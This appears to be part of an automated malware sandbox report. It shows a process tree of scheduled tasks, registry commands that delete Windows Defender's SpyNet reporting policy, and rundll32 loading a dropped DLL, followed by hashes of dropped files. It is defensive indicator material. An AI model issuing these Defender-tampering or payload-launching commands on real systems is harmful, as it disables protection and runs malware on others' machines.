C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "fORmCKMRpgzCRPXvW"3⤵PID:2824
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:1088
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:324⤵PID:2728
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:2768
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:644⤵PID:3040
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "YdWhrynxKGQiTdtBc"3⤵PID:1716
-
-
-
C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\mdHvTMAu\eGnOrBD.dll",#1 /vNsite_idASv 5254032⤵PID:2124
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nHkJQUniIMPgfrVz\mdHvTMAu\eGnOrBD.dll",#1 /vNsite_idASv 5254033⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:884 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "fORmCKMRpgzCRPXvW"4⤵PID:2680
-
-
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2268
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2976
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:1284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD564eff4e4b23e553e3d612fb5b57bb8ae
SHA101901b904f7fe95a83880b92241f23dbd2cec688
SHA256e219c45c5b66d46d5db743da51a9caba4c0b31315f81d1cd942e270371b0e8c0
SHA512c665a283367ea492f61cd479e6d24c16b2af9092a06de793d400fa4a45fd1edcc1b09f8b9a43cb93ca04ffa90aad182d7105a4643129f0702833910f3ecca854
-
Filesize
2KB
MD52a79b26b23166ada2a7bf7031ecee70b
SHA1ae975705fff3ded661a5e9fcbe1a4b05b4832466
SHA256c15120a7ef4fc71bd4ab42f0fe900f868b355379400a27f0ac5a579686d94060
SHA5122607c24492c4e8637a2d0ca45bfd422fe5f919a032ef2230b9f0d14db355ec016fee9db570b07bd4dd39b55171831867dac5e45a586ad9993ed7ffa57181adea
-
Filesize
2KB
MD53e199d946ff8b5c5a6b0edb746ad02ca
SHA14efaf4e7b1f4f1ad9556f35905fde97b8440e729
SHA2564816abbc5be8f86d87b620a55d3aa4d57a1eb4d142a3fd998cc7cd89d67495bd
SHA5125c923058c8a4119e5373c3fe85194c0c6388c651ad1cda1248e6559953519baa9c0040ca4d02b91aec705e12316eb34162bb250187b21bfcfc6db0710918368a
-
Filesize
2KB
MD58944dfb27889f555cc6f9e545ef29b8b
SHA154c881ec8252115ab7b645040b9cd062a241c9f6
SHA256cb3d193ee08de14f9f5b3b36c2429dc3172b74a65499c32b5202f4b0b72a4886
SHA512b98b08cbaebf3fbb8a3ffb4bbaa42da12b3fce44274f9407ec6eef3757fe8e4796e7c1072ac5c0a1e468cbb21571733831c31ed3019039938825bae22f44aa44
-
Filesize
1.2MB
MD564ea849fc65ba1667ecf70fd2f55f742
SHA1232f47d07e1cc4b9fb9a70c059ea145a8e45dbdf
SHA256abf099e09525bb57239a226cadd5ec5e1cb7c1b391aff5b898007a33a1fa734f
SHA512f81c5fa64a62572996ba41a773cb9ec21c1a377e9cbe5f4855b755c7c8a71495b5a3db1f3569cc1fb0a5234d88dea7883777488cd7434ecf9dfae41ac1b82883
-
Filesize
2KB
MD56903abe26a9b09a6eebbd0d03eb9eb7a
SHA1f98e3d71c9e0f7ac6331e5f1f042d8ba482d41eb
SHA256441974e8da8810a4352fa3f2b1c4ed0d44d762a89adbc111a887a51779d0a7fe
SHA5127967adc5b15ef25fcc221ce37dfb29d9f0c8da5f9880b3321acba3c772eb279e03f5bf58a446af497ad58dd496dd06b256738d90d9d1e3e35eb34c2667aeb890
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
9KB
MD57cf13fbe6b1c8cf7bd34b8e21fda30be
SHA1d3b4f26fca56f86859d9169cc11bf6a89b7a889a
SHA256bf2e910b66911decbf1a7a7bdbb7dfbb15c4de2558d0fce699be955adb705085
SHA512d32fbdc5565ffabefd714c771240a07ad385efac8b120ae764f772947dd4a591e0a73bd47f148f97539e8e1883d999fada8dc69ee4b62f77305d1de30cdcd8e4
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD56e3ffa1318deb29808d701a5cc7ac541
SHA113dc1f087d15be58cb079d8c6a8f7b5575f953a9
SHA2567cb646a85ea4d14657c9c808786fceff3d6483cb5684d10d3cf81a21955b4b34
SHA512613d860b4075972d8583e39d963b1617dde051b484d5916af843c05673c9aa17ae7994d03429cc94be52e329244240322671ee79719685b4fe9444607e2f6809
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD534f5be14ae131fbac00a16f65ebaa7a3
SHA1a90f207d2e2191d87c73799ee85493b5e586f75c
SHA2568e4dcb4079b13487da886a5b2b3f48b9b3043ba25cbf1d6ff5993e8b43e08a50
SHA512fa78a57f0cb5a2e4689e574e6ec144189f32a7d55e27cbf58c468da6836fc19c9c1545efbe887c37bd71a59c2db985700bae67dde5896f1f49e2919c1658ec84
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD585815ab34e5c4da0a1c6e1583fa152b7
SHA1f6458534af3c803ed6db17f4b60fb158406a4db3
SHA256dfa244895f9a602634d611491654bf488e7280bdebd0413dea7b1d51055eb99f
SHA512e95f4a91940cb413a0949320dcd6729adf77eb8873f1222ab54d1123f868553b1257bfc0a0838dffc36d6d9b7cb4054e197dc531d6142f051577f9469a2467dd
-
Filesize
7KB
MD5872ea27f11f574f0eedec389b46310b6
SHA1c0868d3fd246a5711b10d3026e02cc972412f84e
SHA2568f0f4fa5a1794c29597c926a2e7784c723dc6326acc311b61b524112a768f3c4
SHA51252833c65e0b41c976188010a110e40ceca88734f7ea91e79548a4d1d978a09f3d0e4b62a2ef65d0b45ff56fd66cc7607a3543344d43967e26b04afef4d57a1e2
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
9KB
MD5239ce6483c2f6aa42e405887a12ea1fe
SHA1f5790172d09f0dec04033c8592bcff00645204f2
SHA256ba7f2fc634940e21d4dd07aec49e0c4585e71c83302c3963cb06976c093ef2ef
SHA5120effd77c4653a53434a82ab7d542de9e6aa38f68960251141cc76da1650c80eea5b144b0c75877ef7ead3a8a19630818fa93f1e011d8f574805196da6df3b4e7
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
5KB
MD5f42c4a377678662bb01e75f3e23d3178
SHA13152a21eaec8a01892ddad71f9fd73a2a38aa015
SHA2563b8c3574939e94915fbaa5cb2c02afcd899026a0823b69d6d5d0e212a10cc18a
SHA512c5bb09f7baf290bd5237fe40060051a6f7f1e3ba867b4dba2500029d08620e6a2acedb0f7df615e6ffc2f3936de6151e19c1404bdff24fcf194683fdd9e36ebb
-
Filesize
268B
MD5a62ce44a33f1c05fc2d340ea0ca118a4
SHA11f03eb4716015528f3de7f7674532c1345b2717d
SHA2569f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA5129d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
6.1MB
MD5fd430d9917eb29f489a75e1bc4558568
SHA1bd650b116bc216e5e3d70a0c79d05e57f21681a5
SHA256b3869fd60cf523827734270563b69c151db637a8bb659b1603ac125c9282da7e
SHA512f6ab912a2a1ef27876575c40d51e98cc078a5e05ccd6c6780d41daa5f081010f6f8b53cf67f26c8e0dde31f2309faa2f23a4f1e3da436cded26eb2d96384e8e5
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
7.0MB
MD55a7e568c4ff53db46e5704e6a026af57
SHA158c8ef71ee70efdc6b60ad872e4d021fb016582b
SHA256a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc
SHA512743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783
-
Filesize
6.1MB
MD5b78a54532de8397717438f4579cf02a3
SHA16d09e921b95d0b00e64cab40eb2dc77e7fa4d352
SHA25639709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db
SHA5129772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783